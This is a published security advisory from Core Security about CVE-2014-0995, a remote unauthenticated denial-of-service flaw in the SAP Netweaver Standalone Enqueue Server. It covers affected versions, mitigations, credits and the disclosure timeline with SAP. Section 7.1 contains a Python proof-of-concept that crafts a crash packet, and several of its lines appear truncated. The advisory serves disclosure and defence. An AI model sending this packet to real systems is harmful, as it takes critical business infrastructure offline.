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[CORE-2014-0007] -SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability
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SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability
1. **Advisory Information**
Title: SAP Netweaver Enqueue Server Trace Pattern Denial of Service
Advisory ID: CORE-2014-0007
Advisory URL: http://www.coresecurity.com/advisories/sap-netweaver-enqueue-server-trace-pattern-denial-service-vulnerability
Date published: 2014-10-15
Date of last update: 2014-10-15
Vendors contacted: SAP
Release mode: Coordinated release
2. **Vulnerability Information***
Class: Uncontrolled Recursion [CWE-674]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0995
3. **Vulnerability Description**
SAP Netweaver  is a technology platform for building and integrating SAP business
applications. A vulnerability has been found in SAP Netweaver that could allow an
unauthenticated, remote attacker to create denial of service conditions. The vulnerability
is triggered by sending a specially crafted SAP Enqueue Server packet to remote TCP port 32NN
(NN being the SAP system number) of a host running the "Standalone Enqueue Server" service, part
of SAP Netweaver Application Server ABAP/Java. The "Standalone Enqueue Server" is a critical
component of a SAP Netweaver installation in terms of availability, rendering the whole SAP
4. **Vulnerable Packages**
. SAP Netweaver 7.01 (enserver.exe version v7010.32.15.63503).
. SAP Netweaver 7.20 (enserver.exe version v722.214.171.12469).
Other versions are probably affected too, but they were not checked.
5. **Vendor Information, Solutions and Workarounds**
Martin Gallo proposed the following actions to mitigate the impact of the vulnerabilities:
Restrict access to the Standalone Enqueue service by configuring Access Control Lists  and to
the Standalone Enqueue Service TCP port 32XX (XX is the instance number).
SAP published a security note  with the fix.
This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting
Services. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core
7. **Technical Description / Proof of Concept Code**
When the trace level of the service is configured to stop logging when a pattern is found , the
service does not properly control the amount of recursion resulting in a stack overflow exception.
The vulnerability can be triggered remotely by setting the trace level with a wildcard Trace Pattern.
This vulnerability could allow a remote, unauthenticated attacker to conduct a denial of service
attack against the vulnerable systems, rendering the Enqueue Server unavailable.
The following python code can be used to trigger the vulnerability:
7.1. **Proof of Concept**
import socket, struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
parser.add_option("-p", "--port", dest="port", type="int", help="Port
(options, args) = parser.parse_args()
def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
print "[*] Connecting to", options.hostname, "port", options.port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Sending crash packet"
crash = '\xab\xcd\xe1\x23' # Magic bytes
crash+= '\x00\x00\x00\x00' # Id
crash+= '\x00\x00\x00\x5b\x00\x00\x00\x5b' # Packet/frag length
crash+= '\x03\x00\x00\x00' # Destination/Opcode/MoreFrags/Type
crash+= 'ENC\x00' # Admin Eye-catcher
crash+= '\x01\x00\x00\x00' # Version
crash+= '#EAA' # Admin Eye-catcher
crash+= '\x01\x00\x00\x00\x00' # Len
crash+= '\x06\x00\x00\x00\x00\x00' # Opcode/Flags/RC
crash+= '#EAE' # Admin Eye-catcher
crash+= '\x01\x04\x00\x00' # Version/Action/Limit/Tread
crash+= '\x00\x00\x00\x03\x00\x00\x00\x03' # Trace Level
crash+= '\x01' # Logging
crash+= '\x01\x40\x00\x00' # Max file size
crash+= '\x00\x00\x00\x01\x00\x00\x00\x01' # No. patterns
crash+= '\x00\x00\x00\x25#EAH' # Trace Eye-catcher
crash+= '\x01*\x00' # Trace Pattern
crash+= '#EAD' # Trace Eye-catcher
print "[*] Crash sent !"
8. **Report Timeline**
Initial notification sent to SAP, including technical description to reproduce the
vulnerability. Publication date set to Jun 30, 2014.
Vendor notifies that the tracking number 1153917-2014 was created for this issue.
Core Security requests SAP to inform the status of the advisory.
The vendor informs they were not able to reproduce the issue and they request additional
details and a proof of concept.
Core Security sends SAP a full description of the vulnerability including a python script
to trigger it.
Core Security asks if the vendor was able to trigger the vulnerability. Additinally we
requested to set a publication date for the advisory based on the release of a fix.
The vendor informs they were able to reproduce the issue but they will not be able to
provide a timeline for the fix at the time. They inform they will work with high priority
on it and will inform us of the planned fix release date.
Core Security asks if the vendor was able to develop a fix and if they have a possible
timeline for its availability.
The vendor informs that the fix is undergoing quality checks. They also inform that
they can't provide an exact date of publication yet. They also request a 3 months grace
period once the patch is available.
Core Security informs SAP that after we get notice that the fix is available to the
public we will publish the advisory accordingly and will not wait for the 3 months of
grace as requested because that's not our proceeding policy.
The vendor informs that the fix is going to be released with the
October patch day, on Tuesday the 14th, of 2014.
The vendor publishes the fix under the security note 2042845.
Core Security releases the advisory.
 SAP security note 2042845
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